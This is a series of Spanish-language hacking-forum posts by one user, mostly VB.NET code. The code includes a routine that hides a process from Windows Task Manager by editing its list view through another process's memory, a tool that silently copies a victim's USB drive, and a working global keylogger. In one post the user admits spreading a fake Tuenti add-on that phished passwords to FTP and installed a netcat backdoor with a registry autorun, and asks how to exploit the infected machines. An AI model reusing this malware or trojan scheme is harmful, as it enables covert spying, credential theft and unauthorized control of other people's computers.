   Public Function SendMessage( _
       ByVal hWnd As IntPtr, _
       ByVal message As UInteger, _
       ByVal wParam As Integer, _
       ByVal lParam As StringBuilder) As Integer
   End Function

   <DllImport(user32, SetLastError:=True)> _
   Public Function SendMessage( _
       ByVal hWnd As IntPtr, _
       ByVal message As UInteger, _
       ByVal wParam As Integer, _
       ByVal lParam As IntPtr) As Integer
   End Function
#End Region

#Region " VirtualAllocEx "
   <DllImport(kernel32, SetLastError:=True)> _
   Public Function VirtualAllocEx( _
       ByVal hProcess As SafeProcessHandle, _
       ByVal lpAddress As IntPtr, _
       ByVal dwSize As Integer, _
       ByVal flAllocationType As UInteger, _
       ByVal flProtect As UInteger) As IntPtr
   End Function
#End Region

#Region " VirtualFreeEx "
   <DllImport(kernel32, SetLastError:=True)> _
   Public Function VirtualFreeEx( _
       ByVal hProcess As SafeProcessHandle, _
       ByVal lpAddress As IntPtr, _
       ByVal dwSize As Integer, _
       ByVal dwFreeType As UInteger) As <MarshalAs(UnmanagedType.Bool)> Boolean
   End Function
#End Region

#Region " WriteProcessMemory "
   <DllImport(kernel32, SetLastError:=True)> _
   Public Function WriteProcessMemory( _
       ByVal hProcess As SafeProcessHandle, _
       ByVal lpBaseAddress As IntPtr, _
       ByRef lpBuffer As LV_ITEM, _
       ByVal nSize As Integer, _
       ByRef lpNumberOfBytesWritten As Integer) As <MarshalAs(UnmanagedType.Bool)> Boolean
   End Function

   <DllImport(kernel32, SetLastError:=True)> _
   Public Function WriteProcessMemory( _
       ByVal hProcess As SafeProcessHandle, _
       ByVal lpBaseAddress As IntPtr, _
       ByRef lpBuffer As HDITEM, _
       ByVal nSize As Integer, _
       ByRef lpNumberOfBytesWritten As Integer) As <MarshalAs(UnmanagedType.Bool)> Boolean
   End Function
#End Region
#End Region
#Region " Constantes "
   Public Const LVM_FIRST As UInteger = &H1000
   Public Const LVM_DELETEITEM As UInteger = (LVM_FIRST + 8)

   Public Const kernel32 As String = "kernel32"
   Public Const user32 As String = "user32"
   Public Const LVM_GETITEMCOUNT As UInteger = &H1004
   Public Const LVM_GETITEMTEXT As UInteger = &H102D
   Public Const LVM_GETHEADER As UInteger = &H101F
   Public Const HDM_GETIEMA As UInteger = &H1203
   Public Const HDM_GETITEMW As UInteger = &H120B
   Public Const HDM_GETITEMCOUNT As UInteger = &H1200
   Public Const HDM_GETUNICODEFORMAT As UInteger = &H2006
   Public Const HDI_TEXT As UInteger = 2
   Public Const MEM_COMMIT As UInteger = &H1000
   Public Const MEM_RELEASE As UInteger = &H8000
   Public Const PAGE_READWRITE As UInteger = 4
   Public Const PROCESS_VM_READ As UInteger = &H10
   Public Const PROCESS_VM_WRITE As UInteger = &H20
   Public Const PROCESS_VM_OPERATION As UInteger = &H8
   Public Const WM_GETTEXT As UInteger = &HD
   Public Const WM_GETTEXTLENGTH As UInteger = &HE
#End Region
#Region " Structures "
#Region " LV_ITEM "
   <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> _
   Public Structure LV_ITEM
       Public mask As UInteger
       Public iItem As Integer
       Public iSubItem As Integer
       Public state As UInteger
       Public stateMask As UInteger
       Public pszText As IntPtr
       Public cchTextMax As Integer
       Public iImage As Integer
       Public lParam As IntPtr
       Public iIndent As Integer
       Public iGroupId As Integer
       Public cColumns As Integer
       Public puColumns As IntPtr
       Public piColFmt As IntPtr
       Public iGroup As Integer
       Public Function Size() As Integer
           Return Marshal.SizeOf(Me)
       End Function
   End Structure
#End Region

#Region " HDITEM "
   <StructLayout(LayoutKind.Sequential)> _
   Public Structure HDITEM
       Public mask As UInteger
       Public cxy As Integer
       Public pszText As IntPtr
       Public hbm As IntPtr
       Public cchTextMax As Integer
       Public fmt As Integer
       Public lParam As IntPtr
       Public iImage As Integer
       Public iOrder As Integer
       Public Function Size() As Integer
           Return Marshal.SizeOf(Me)
       End Function
   End Structure
#End Region
#End Region
#Region "Obtener objetos Listview "
   Public Function GetListView(ByVal handle As IntPtr, ByVal lvhandle As IntPtr) As Boolean
       listViewHandle = lvhandle
       Dim hParent As IntPtr = handle

       Dim id As Integer = -1
       Try
           For Each p In Process.GetProcessesByName("taskmgr")
               If p.MainWindowTitle = "Administrador de tareas de Windows" Then
                   id = p.Id
               End If
           Next
           If id = -1 Then
               Throw New ArgumentException("No se encontró el proceso", "processName")
           End If
       Catch : Return False : End Try

       Dim hprocess As SafeProcessHandle = Nothing
       Try
           hprocess = OpenProcess(PROCESS_VM_OPERATION Or PROCESS_VM_READ Or PROCESS_VM_WRITE, False, id)

           If hprocess Is Nothing Then
               If Marshal.GetLastWin32Error = 0 Then
                   Throw New System.ComponentModel.Win32Exception
               End If
           End If

           Dim itemCount As Integer = SendMessage(listViewHandle, LVM_GETITEMCOUNT, IntPtr.Zero, IntPtr.Zero)

           For row As Integer = 0 To itemCount - 1

               Dim lvi As New ListViewItem(GetItem(row, 0, hprocess))
               If lvi.Text.Contains(TMListViewDelete.MyProc) Then SendMessage(listViewHandle, LVM_DELETEITEM, row, IntPtr.Zero)
           Next
       Catch : Return False
       Finally
           If hprocess IsNot Nothing Then
               hprocess.Close()
               hprocess.Dispose()
           End If

       End Try
       Return True
   End Function
#End Region
#Region " SafeProcessHandle "
   Friend NotInheritable Class SafeProcessHandle
       Inherits SafeHandleZeroOrMinusOneIsInvalid
       Declare Auto Function CloseHandle Lib "kernel32.dll" (ByVal hObject As IntPtr) As Boolean

       Public Sub New()
           MyBase.New(True)
       End Sub

       Public Sub New(ByVal handle As IntPtr)
           MyBase.New(True)
           MyBase.SetHandle(handle)
       End Sub

       Protected Overrides Function ReleaseHandle() As Boolean
           Return CloseHandle(MyBase.handle)
       End Function

   End Class
#End Region
#Region " ObtenerObjeto "
   Public Function GetItem(ByVal row As Integer, ByVal subitem As Integer, _
                               ByVal hProcess As SafeProcessHandle) As String

       Dim lvitem As New LV_ITEM
       lvitem.cchTextMax = 260
       lvitem.mask = 1
       lvitem.iItem = row
       lvitem.iSubItem = subitem
       Dim pString As IntPtr
       Dim s As New StringBuilder(260)
       Try

           pString = VirtualAllocEx(hProcess, IntPtr.Zero, 260, MEM_COMMIT, PAGE_READWRITE)
           lvitem.pszText = pString
           Dim pLvItem As IntPtr
           Try
               pLvItem = VirtualAllocEx(hProcess, IntPtr.Zero, lvitem.Size, MEM_COMMIT, PAGE_READWRITE)
               Dim boolResult As Boolean = WriteProcessMemory(hProcess, pLvItem, lvitem, lvitem.Size, 0)
               If boolResult = False Then Throw New Win32Exception

               SendMessage(listViewHandle, LVM_GETITEMTEXT, row, pLvItem)
               boolResult = ReadProcessMemory(hProcess, pString, s, 260, 0)
               If boolResult = False Then Throw New Win32Exception
               boolResult = ReadProcessMemory(hProcess, pLvItem, lvitem, Marshal.SizeOf(lvitem), 0)
               If boolResult = False Then Throw New Win32Exception
           Finally
               If pLvItem.Equals(IntPtr.Zero) = False Then
                   Dim freeResult As Boolean = VirtualFreeEx(hProcess, pLvItem, 0, MEM_RELEASE)
                   If freeResult = False Then Throw New Win32Exception
               End If
           End Try
       Finally
           If pString.Equals(IntPtr.Zero) = False Then
               Dim freeResult As Boolean = VirtualFreeEx(hProcess, pString, 0, MEM_RELEASE)
               If freeResult = False Then Throw New Win32Exception
           End If
       End Try

       Return s.ToString
   End Function
#End Region
End Module

#End Region


Un saludo!
#64
Buenas para quien me lea,

estoy desarrollando unas herramientas para un kit de Hacking propio, y bueno se me ocurrió que cuando la "víctima" introdujera una memoria extraíble (USB) en el PC podrían copiarse los archivos y directorios completamente a la ruta que yo quiera.

Ha funcionado mejor de lo que esperaba, que gusto da trabajar con el Framework de .NET

Al lío:

el programa se ejecuta y cae en un Bucle que se repite infinitas veces hasta que el usuario conecte una llave USB al PC. En cuanto se realiza tal acción se produce una copia de archivos y directorios de dicha llave USB. Los datos son guardados en la carpeta actual del directorio de la solución del proyecto (Debug/...)

Os dejo el código, no está terminado, falta pulirlo por bastantes partes pero lo esencial lo cumple.

Espero que os sirva...

Source:
Código (VB.NET) [Seleccionar]

Imports Microsoft.VisualBasic.FileIO
Module Interceptar
   Private Sub Interceptar_Archivos(ByVal Ruta_USB As String)
       Dim Archivos As System.Collections.ObjectModel.ReadOnlyCollection(Of String) = FileSystem.GetFiles(Ruta_USB)
       For Each Ruta_Archivo As String In Archivos
           Dim Archivo As String = Ruta_Archivo.Substring(Ruta_Archivo.LastIndexOf("\") + 1)
           Console.WriteLine(Ruta_Archivo.Substring(Ruta_Archivo.LastIndexOf("\") + 1))
           FileSystem.CopyFile(Ruta_Archivo, CurDir() & "\Carpeta\" & Archivo)
       Next
   End Sub
   Private Sub Interceptar_Carpetas(ByVal Ruta_USB As String)
       Dim Directorios As System.Collections.ObjectModel.ReadOnlyCollection(Of String) = FileSystem.GetDirectories(Ruta_USB)
       For Each Ruta_Directorio As String In Directorios
           Console.WriteLine(Ruta_Directorio)
           Dim Directorio As String = Ruta_Directorio.Substring(Ruta_Directorio.LastIndexOf("\"))
           FileSystem.CreateDirectory(CurDir() + Directorio)
           FileSystem.CopyDirectory(Ruta_Directorio, CurDir() + Directorio)
       Next
   End Sub
   Sub Main()
       Console.WriteLine("--Interceptar Archivos/Directorios USB--")
       Dim Ruta_USB As String = Nothing
       While Ruta_USB = Nothing
           For Each drive In FileSystem.Drives
               If drive.IsReady = True And drive.DriveType = IO.DriveType.Removable Then
                   Console.WriteLine("Se encontro un dispositivo USB")
                   Ruta_USB = drive.Name
                   Console.WriteLine(drive.Name)
                   Try
                       Interceptar_Archivos(Ruta_USB)
                       Interceptar_Carpetas(Ruta_USB)
                   Catch ex As Exception
                   End Try
               End If
           Next
       End While
       Console.Read()
   End Sub
End Module


Happy Hacking ;)
#65
Buenas a aquellos que leais el post,

he decidido postear este tema en este foro ya que por el momento no trataré con ningun lenguaje de programación. Lo que pido al poder ser es CONSEJO ya que llevo un buen rato buscando.

El problema es el siguiente:

tengo una aplicación Cliente/Servidor en la cual se producen envios de aplicaciones y son recibidas por el cliente directamente. Claro que al guardar la aplicación en el lado del Cliente tengo que introducir el nombre del ejecutable resultante manualmente en el código.

Ya probé enviando desde el Servidor un paquete con el nombre del archivo y los datos de la aplicación a enviar, después en el Cliente obtuve el nombre del archivo, pero el archivo estaba corrupto :/

Mi pregunta es, ¿Cómo obtener en el lado del Cliente el nombre del archivo recibido?

Agradezco cualquier ayuda..

Saludos.
#66
Buenas .NET(adictos),

he observado que por este foro circulan peticiones de usuarios que desean introducirse en el mundo del hooking en Windows y he decidido codear una breve aplicación, comentada al detalle para su buen entendimiento y poder comprender las nociones básicas del Hooking.

La verdad que aprendí hace unos 2 días, me puse en C a codearlo pero .NET me tira más, ya después de leer la documentación de MSDN (abajo os dejo el link) y utilizar un poquito (la Web) Pinvoke para declarar las funciones del API ya pude completar el programa.

El programa simplemente establece un Hook de tipo LowLevelKeyBoard, captura las teclas interceptadas por el hook y finalmente las guarda una a una en un fichero de la carpeta actual.

Link Documentacion Hooks-> http://msdn.microsoft.com/en-us/library/windows/desktop/ms632589%28v=vs.85%29.aspx

Como no, comparto con vosotros el Source del programa. Está codeado bajo el Framework 4.0 y desarrollado en Visual Basic .NET (VS 2010)

Link de descarga -> http://www.mediafire.com/?4fbdmx5obwu5k10

Source:

Código (VB.NET) [Seleccionar]

Imports System.Runtime.InteropServices
Imports System.IO
Imports System.Threading
Imports System.Windows.Forms
Public Class Form1
   Enum Constantes As Integer
       WH_KEYBOARD_LL = 13
       HC_ACTION = 0
       WM_KEYDOWN = &H100
       WM_KEYUP = &H101
       WM_SYSKEYDOWN = &H104
       WM_SYSKEYUP = &H105
   End Enum '-> Constantes utilizadas en el Hook Global
   <StructLayout(LayoutKind.Sequential)> _
   Public Class KBDLLHOOKSTRUCT
       Public vkCode As UInt32
       Public scanCode As UInt32
       Public flags As UInt32
       Public time As UInt32
       Public dwExtraInfo As UIntPtr
   End Class '-> Estructura que contiene los mensajes interceptados por el Hook
#Region "Declaraciones_API"
   <DllImport("user32.dll")> _
   Friend Shared Function SetWindowsHookEx(ByVal idHook As Integer, ByVal lpfn As HookProc, ByVal hInstance As IntPtr, ByVal threadId As Integer) As Integer
   End Function

   <DllImport("user32.dll")> _
   Friend Shared Function CallNextHookEx(ByVal hhk As IntPtr, ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As KBDLLHOOKSTRUCT) As Integer
   End Function
   <DllImport("kernel32.dll", CharSet:=CharSet.Auto, SetLastError:=True)> _
   Public Shared Function GetModuleHandle(ByVal lpModuleName As String) As IntPtr
   End Function
   <DllImport("user32.dll", SetLastError:=True)> _
   Public Shared Function UnhookWindowsHookEx(ByVal hhk As IntPtr) As <MarshalAs(UnmanagedType.Bool)> Boolean
   End Function
#End Region '-> Declaraciones de APIs para el uso de Hooks (SetWindowsHookEx...)
   Enum HookType As Integer
       WH_JOURNALRECORD = 0
       WH_JOURNALPLAYBACK = 1
       WH_KEYBOARD = 2
       WH_GETMESSAGE = 3
       WH_CALLWNDPROC = 4
       WH_CBT = 5
       WH_SYSMSGFILTER = 6
       WH_MOUSE = 7
       WH_HARDWARE = 8
       WH_DEBUG = 9
       WH_SHELL = 10
       WH_FOREGROUNDIDLE = 11
       WH_CALLWNDPROCRET = 12
       WH_KEYBOARD_LL = 13
       WH_MOUSE_LL = 14
   End Enum '-> Tipos de Hooks para monitorizar mensajes
   'Declaramos un delegado y le asignamos sus respectivos argumentos
   Delegate Function HookProc(ByVal code As Integer, ByVal wParam As IntPtr, ByVal lParam As KBDLLHOOKSTRUCT) As Integer
   Private CallbackDelegate As HookProc = Nothing
   'Declaramos la variable Hook. Será la encargada de almacenar la direccion de memoria del Hook
   Dim hook As IntPtr = IntPtr.Zero
   'Procedimiento asociado al puntero AddressOf(CallBackDelegate)
   Private Function HookprocHandler(ByVal code As Integer, ByVal wParam As IntPtr, ByVal lParam As KBDLLHOOKSTRUCT) As Integer
       Try
           'Code es la variable encargada de decir si existe un mensaje. Si code !=0 no habra nada.
           If (code < 0) Then
               'Damos paso al siguiente Hook y procedemos con el continuamiento del Sistema
               Return CallNextHookEx(IntPtr.Zero, code, wParam, lParam)
           Else
               Dim sr As New StreamWriter(CurDir() & "\log.txt", True)
               'Segun el código devuelto a la pulsación de la tecla (257,258)
               Select Case wParam
                   Case Constantes.WM_KEYDOWN, Constantes.WM_SYSKEYDOWN
                       Dim key As Char = ChrW(lParam.vkCode) 'Imprimimos el caracter ASCII en pantalla
                       sr.Write(key)
               End Select
               sr.Close()
               Return CallNextHookEx(IntPtr.Zero, code, wParam, lParam)
           End If
       Catch ex As Exception
       End Try
       Return 1
   End Function
   Private Sub Iniciar_Hook()
       Try
           'Asociamos a dicho procedimiento un puntero hacia el controlador del Hook (HookProcHandler)
           CallbackDelegate = New HookProc(AddressOf HookprocHandler)
           If hook <> 0 Then
               'Desinstalamos el Hook
               UnhookWindowsHookEx(hook)
               hook = IntPtr.Zero
               btn_hook.Text = "Hookear Teclado"
           Else
               'Instalamos un Hook Global (LowLevelKeyBoard) y llamamos a la funcion HookProcHandler
               'Los ultimos dos parametros indican el HINSTANCE y PID, se utilizarian en caso de Hook local _
               'empleados en juegos y demás.
               hook = SetWindowsHookEx(HookType.WH_KEYBOARD_LL, CallbackDelegate, 0, 0)
               btn_hook.Text = "Desinstalar Hook"
               FileSystem.Kill(CurDir() & "\log.txt")
           End If
       Catch ex As Exception
       End Try

   End Sub
   Private Sub btn_hook_Click(sender As System.Object, e As System.EventArgs) Handles btn_hook.Click
       Iniciar_Hook()
   End Sub
End Class


Espero que os haya gustado el aporte. Cualquier duda que pueda surgir con el tema posteadla aquí, no olvideis que esto es lo más básico, los hooks tienen muchísimo juego.

Un Saludo ;)
#67
Dudas Generales / Añadir fondos PayPal vía SMS
22 Febrero 2012, 03:22 AM
Buenas noches,

Necesito pagar un Hosting urgentemente y he estado indagando BASTANTE sobre como añadir fondos a mi cuenta de PayPal mediante SMS, ya que no dispongo de tarjeta de crédito ni de cuenta bancaria a mi poder :P

Lo único que he encontrado es una inutil aplicación para SmartPhones para enviar dinero a un destinatario con cuenta PayPal. También encontré lo mismo pero desde la dirección m.paypal.es, que es basicamente lo mismo.

Os lanzo mi pregunta,

¿Cómo demonios INGRESO fondos en mi cuenta de PayPal desde un teléfono móvil? No quiero enviar nada, solo ingresar fondos :P

Cada día pierdo la esperanza en este tipo de métodos...

Gracias.
#68
Buenas noches foreros,

no sé si se puede caracterizar de aporte, me explico, esta noche mientras escribía la publicación de un aporte para el foro de .NET he necesitado tirar de la famosa página de hosting gratuito de imágenes Imageshack.us

He alucinado cuando pedía que te registraras para recibir el link directo de las fotos subidas, pero como sabía que había gato encerrado me ha dado por mirar el código HTML de la página y he conseguido los links a las fotos sin tener que registrarme en la Web. Bastante cómodo si utilizas el servicio de hosting gratuito de fotos con poca frecuencia.

Os explico a partir de imágenes:

Cuando subis una imagen cualquiera a Imageshack.us os saltará este formulario de registro que nos dice que los links de las fotos subidas serán enviados a nuestro correo electrónico una vez registrados



Como podeis ver el formulario de registro saltó. Acto seguido, como nuestro navegador nos deja ver el código fuente de la WEB lo visualizamos y hacemos una búsqueda presionando CTRL+F. En el campo de búsqueda introducimos my-images y nos llevará a un link que contendrá al final de la cadena el nombre de la foto que subimos (si nuestra foto se llama pedobear.jpg pues la cadena del link terminara en pedobear.jpg)



Copiamos el link encontrado mediante la búsqueda y navegamos hasta él con nuestro navegador y bualá, saldrá en pantalla nuestra foto subida sin necesidad de registrarnos. Ya ahí como sabreis copias el link verdadero de la foto y listo para pegar en BBCODE por ejemplo.

Saludos.
#69
Buenas noches a todos los amantes de .NET,

llevaba unas semanas queriendo hacer un generador de diccionarios numérico y alfanumérico, pero no encontré la manera de implementar un código sencillo y práctico sin tener que llenar de sentencias de control y condicionales todos los procedimientos utilizados en el código.

Hoy, después de unas semanas de codear otros proyectos ya casi acabados o ya terminados se me ha ocurrido ponerme a dar por finalizada esta aplicación, y como ya lo he hecho la comparto con todos vosotros.

He de decir que solo tiene dos opciones de generación, pero en el Source podeis ver que los algoritmos que he utilizado para crear los diccionarios pueden ser utilizados para crear nuevos diccionarios, por ejemplo con simbolos, caracteres y demás.

Aquí os dejo unas capturas del programa y de los ficheros que contienen el output del generador de diccionarios:

GUI del programa:



Output de los diccionarios:



Como veis no es cosa de otro mundo, os dejo el Source del programa por si quereis experimentar un poquillo y seguir adelante con el proyecto:

http://www.4shared.com/rar/L_AjQLzh/file.html

La contraseña del archivo es: kub0x.NET

Cualquier fallo, sugerencia u optimización del code postearlo aquí en este tema.

Un saludo a todos.
#70
Buenas,

escribo este post porque estoy desarrollando una apliación que analice los hosts de una red y posteriormente lograr acceso a información sobre sus dispositivos, nombre de host, recursos compartidos, configuración de redes...

La idea es muy bonita, ya terminé la funcion de escaneo de IPs de la red, pero ahora me gustaría poder ejecutar Nbtstat desde VB .NET para guardar la salida del comando en un log y para despues a través de cadenas mostrar la información.

Estuve buscando, pero o los ejemplos eran muy elaborados o no me servían.
Si me pudierais dar una breve orientación al tema os lo agradecería.

Saludos!
#71
Buenas tardes foreros,

estoy desarrollando una aplicación en .NET con el propósito de sugerir palabras mientras el usuario va introduciendo el texto. Sería algo así como las molestas aplicaciones que tienen los móviles para realizar una escritura más veloz, solo que lo hago por entretenimiento.

Mi duda radica en el empleo de un diccionario u otro servicio. Se me había ocurrido descargar un .txt con la mayoría de palabras o letras en castellano, para así poder abrir el archivo mediante VB .NET y ver si la palabra introducida por el usuario aparece en dicho Diccionario.

He de decir que el código está terminado, no es gran cosa la verdad, se compone de un bucle que lee todas las líneas de éste y mediante una sentencia condicional más el método Contains(...) se sugieren distintas palabras.

Volviendo al tema, ¿alguien podría ser tan amable de facilitarme un diccionario al poder ser completo en castellano? El .txt que he utilizado está bastante incompleto francamente hablando.

Si no es así, ¿me recomendais algun otro servicio o lista de palabras, ya sea online o off?

Saludos, espero vuestras respuestas :)
#72
Wireless en Linux / Problema Ettercap NG-0.7.3
23 Diciembre 2011, 14:52 PM
Buenas tardes,

hace un par de días instalé Backtrack en mi HD como sistema operativo secundario para poder realizar auditorias de red internas con mi propia red para ver el funcionamiento de paquetes y el tráfico por la red...

Leí sobre ettercap y lo utilicé en Windows con algunos problemas, pero pude realizara ataques de MITM y ARP poisoning.

El problema viene en Backtrack, desinstale el ettercap que venía de serie en el SO ya que daba errores de escaneo de hosts, instalé una versión que detecta los dispositivos conectados a mi red y a la hora de hacer un ataque mitm con envenenamiento ARP se cae mi internet, constantemente, no hay excepción. Probé seteando el valor a 1 del Ip_forwading de la siguiente manera:
echo 1 > /proc/sys/net/ipv4/ip_forward
Pero aun así no funciona, no encuentro más información sobre el tema, mis conocimientos no dan para mucho más y no puedo seguir por mi mismo.

¿Podriais decirme como solucionar este problema, o simplemente que ocurre para poder buscar información?

Agradecería vuestra ayuda, ya que manejo bastante bien este sniffer y sus utilidades me parecen suficientes para monitorizar el tráfico de mi red.

Un saludo!
#73
Buenas noches a todos los foreros de ehn.NET,

hace meses que tenía en mente la idea de crear un proyecto el cual se asimilase al Administrador de Dispositivos nativo de cualquier sistema operativo Windows pero en .NET

Como dispongo de suficiente tiempo libre y pude terminar mis anteriores proyectos que tenía en mente me gustaría que me pudierais orientar y decir si existe alguna clase en el Framework de .NET, como puede ser en algun espacio de nombres que pudiera listar algunos de los componentes del Hardware del Sistema.

Os estaría muy agradecido si me pudierais encaminar.

Gracias y un saludo!
#74
Buenas tardes a todos los usuarios de .NET,

hace un par de días me dispuse a crear una aplicación que permitiera navegar al usuario mediante un control WebBrowser de una manera anónima.

Me quedé de piedra al ver que la Clase WebBrowser no disponía de un objeto Proxy, por lo tanto me informé y utilicé una combinación de la clase Httpwebrequest y WebBrowser, me explico: La página Web era cargada mediante Httpwebrequest.create() y luego cargaba un Proxy cualquiera de la red, una vez cargada la URL le pasaba el Stream a la clase WebBrowser y el control mostraba la página como si estuviera navegando con un Proxy.

El problema es que al navegar con el control WebBrowser intenté pasar a la clase HttpWebRequest la URL por la cual estaba navegando actualmente dicho control. Lo que hice fue volver a pasarle el stream al WebBrowser de la clase httpwebrequest.... No podía navegar a través del control WeBbrowser...

Lo solucioné echando virutas con un code que encontré en una red, es una llamada a la API wininet.dll y ahora el proxy funciona correctamente con el WebBrowser, pude eliminar la clase HttWebRequest y todo.

Bueno, no sé para que os pongo toda esta introducción, si a algun user de este foro quiere hace algun navegador Anónimo que por favor lea la intro.
Si me podeis explicar este code os estaría muy agradecido ya que entiendo muy poco de éste:


#Region "Using Proxy"
    <Runtime.InteropServices.DllImport("wininet.dll", SetLastError:=True)> _
    Private Shared Function InternetSetOption(ByVal hInternet As IntPtr, ByVal dwOption As Integer, ByVal lpBuffer As IntPtr, ByVal lpdwBufferLength As Integer) As Boolean
    End Function

    Public Structure Struct_INTERNET_PROXY_INFO
        Public dwAccessType As Integer
        Public proxy As IntPtr
        Public proxyBypass As IntPtr
    End Structure

    Private Sub UseProxy(ByVal strProxy As String)
        Const INTERNET_OPTION_PROXY As Integer = 38
        Const INTERNET_OPEN_TYPE_PROXY As Integer = 3

        Dim struct_IPI As Struct_INTERNET_PROXY_INFO

        struct_IPI.dwAccessType = INTERNET_OPEN_TYPE_PROXY
        struct_IPI.proxy = Marshal.StringToHGlobalAnsi(strProxy)
        struct_IPI.proxyBypass = Marshal.StringToHGlobalAnsi("local")

        Dim intptrStruct As IntPtr = Marshal.AllocCoTaskMem(Marshal.SizeOf(struct_IPI))

        Marshal.StructureToPtr(struct_IPI, intptrStruct, True)

        Dim iReturn As Boolean = InternetSetOption(IntPtr.Zero, INTERNET_OPTION_PROXY, intptrStruct, System.Runtime.InteropServices.Marshal.SizeOf(struct_IPI))
    End Sub
#End Region


Muchas gracias por vuestra ayuda,

Un saludo.
#75
Buenas noches a todos,

he estado codeando una aplicación que permite enviar pulsaciones a los procesos que están siendo ejecutados en la máquina.

Tengo todo el código listo (listar los procesos, obtener su Handle, en caso de que haya un mismo proceso repetido dar a elegir a cual enviar las pulsaciones...) , pero lo que me falta por codear es el método de llamada de la función SendMessage, no tengo ni idea de como funciona.

Por último, he leido que el Handle del Window contiene otro Handle, llamado Child. Vamos, que dentro de una ventana hay otra, y me da que es la segunda donde quiero enviar las pulsaciones :S

Necesito que alguien me oriente, ¡ayuda!
#76
Windows / [Win 7] BSOD al instalar Driver de Sonido
14 Noviembre 2011, 12:57 PM
Buenas tardes a todos,

ayer decidí migrar mi sistema de Win XP a Win 7 Professional, la verdad que fui convencido por algunos de los debates sobre opiniones entre xp y 7 de este foro.

Una vez instalado el S.O procedí a la instalación de los Controladores restantes. El único problema que obtuve fue al instalar el controlador de Audio desde el CD del fabricante (Creative Labs) ya que posteriormente al finalizar la instalación se produjo un Pantallazo Azul (BSOD) con el error "Memory Management" en "0x00041284) sin embargo restauré la configuración del equipo a otra anterior y procedí a instalarlo desde el Software DriverScanner, procediendo así a su actualización.

Lo peor es que no hay manera de poder utilizar este controlador, ya con DriverScanner obtengo el mismo error.

Al iniciar en modo seguro el Administrador de Dispositivos me muestra que el controlador de Audio esta Correctamente Instalado pero si reinicio en modo normal me saca una BSOD. También probé haciendo un analisis completo de la memoria del sistema por si había algun error interno, pero nada es este maldito driver.

¿Que puedo hacer para que realmente funcione correctamente?

Datos del driver:
Creative EMU10K1 Audio Processor (WDM)
Creative SB Live! series

No sé que hacer ya, estoy desesperado.

Un saludo y espero vuestra ayuda.

Gracias desde ya.
#77
Buenas tardes .NET aficionados,

estoy trabajando en un automatizador de envío de sms por el cual hay que ingresar nº de telef del destinatario, mensaje y país. El formulario se llena al completo ya que todas las funciones programadas funcionan perfectamente.

El problema se presenta al querer ingresar el captcha, no sé como ponerlo en el formulario de mi programa, intenté guardando el código html en texto plano y en un archivo .htm pero sigue haciendo referencia a la página del captcha.

También probé suerte cargandolo con la propiedad Load() del Picturebox pero se muestra un captcha nuevo y distinto.

Necesito capturar en dicho picturebox el captcha del formulario original del WebBrowser, ¿alguna idea?

Agradecería todo tipo de pistas, ya que llevo unas horas comiendome la cabeza y no lo termino de conseguir.

Gracias.
#78
.NET (C#, VB.NET, ASP) / [Duda] Sockets VB.NET
25 Septiembre 2011, 14:05 PM
Buenas,

estoy trabajando en varias aplicaciones con sockets (cliente y servidor) lo tengo bien codeado, realiza las funciones de envio y recibo de datos, los datos recibidos son pasados por la shell en la máquina del server (la supuesta víctima) , ahora quiero enviar archivos pero intente codear las funciones de enviar archivos (en el cliente) y la de recibirlos (en el server) y no lo termino de conseguir. Necesito de vuestra destreza para conseguirlo, me urge porque cuanto antes lo tenga mucho mejor, es un proyecto al que me voy a dedicar durante un tiempo :)

Si me podeis guiar o facilitar algun método para enviar o recibir archivos en los sockets te lo agradecería muchísimo. Probé con el método sendfile y en el cliente leyendo los bytes pero se mezclan las funciones de recibir_archivos y recibir_datos.

Gracias y un saludo!
#79
Buenas,

pues resulta que tengo una dudilla, he estado programando un listador de procesos en Visual Basic .NET y no consigo la manera de acceder al PID de los procesos, sé obtener cuantos procesos estan corriendo, pero con esa informacion no puedo elaborar nada.

¿Me podriais dar algun consejillo u orientacion de como obtener el numero de identificacion del proceso asociado a los procesos?

Gracias.
#80
Buenas, ultimamente estoy desarrollando aplicaciones para visual basic .net y me gustaria adjuntar anuncios de publicidad de mi cuenta AdSense para ganar unos incentivos al ser posible, intente mostrarlo en un control Webrowser pero me es imposible.

Probé guardando el codigo en un .html y .html cargarlo desde el control webrowser y no se mostro el anuncio, el control se cargaba en blanco.

¿Cómo podria mostrar los anuncios? ¿Alguien me puede guiar en este tema?

Os lo agradeceria.

¡Un saludo!
#81
Buenas tardes,

debido al aburrimiento veraniego me he dispuesto a crear una animación simplona del código fuente de Matrix, mitico de la pelicula :D

Bueno la verdad es que se ha quedado en eso, en un intento :p aqui posteo el código

#include <stdio.h>
#include <windows.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
system("color 02");
system("title MAtRiX");
char caracteres[27] ="abcdefghijklmnopqrstuvwxyz10";
int i = 0;
int a = 0;
int random;
while (i < 1)

{
            random = rand() % 28;
           printf("%c",caracteres[random]);
            for (a=0;a < 120;a++)
            {
random = rand() % 2;
           printf("%c",caracteres[random]);
           sleep(0);
           }
}

}


Necesito que el texto salga en columnas (como en matrix) en la consola.

Gracias por su atencion
#82
Lo primero, buenas noches a todos :)

No posteo hasta que no encuentro nada, no pregunto si no he buscado antes.

Me gustaría saber si el chipset Ath9k esta disponible en Windows para el monitoreo de redes (modo promiscuo, inyección...) Sé que para Linux está liberado ya que uso Ubuntu a menudo e inyecto paquetes satisfactoriamente.

Igual me equivoco en algun tema, no sé, ¿podriais ayudarme?
un saludo
#83
Hacking / [NetCat] Una vez dentro...
18 Julio 2011, 13:50 PM
Hace unos días propagué un evento con un programa que prometía extensiones gratuitas para tuenti  :laugh: :xD :laugh: el cual programé en VB .NET ..

Dicho programa constaba de una interfaz para conectarse a tuenti y recoger yo sus contraseñas vía ftp, pero lo mejor es que cuando abres el programa se te descarga el Netcat a system32 (para poder utilizarlo) se añade al regedit una clave de inicio escuchando mi ip, me envia tu ip a mi ftp y de esta manera me conecto a sus ordenadores.

Mi pregunta es, ¿que me recomendais hacer? me gustaría jugar un poquitin, tengo el TFTP para ingresarle archivos como tasklist o tskill para poder fastidiar.

Mi intención no es la de robar nada ni la de unitilizar máquinas ajenas.

Un saludo
#84
Buenas noches,

hace un par de horas escanee una página web que corre en un sistema Apache, dicho servidor esta alojado en el ordenador de la víctima.

El escaneo lo ejecute en el famoso SSS (Shadow Security Scanner) y me devolvio la vulnerabilidad-> Apache HTTP Server 413 Error HTTP Request Method Cross-Site Scripting Weakness.

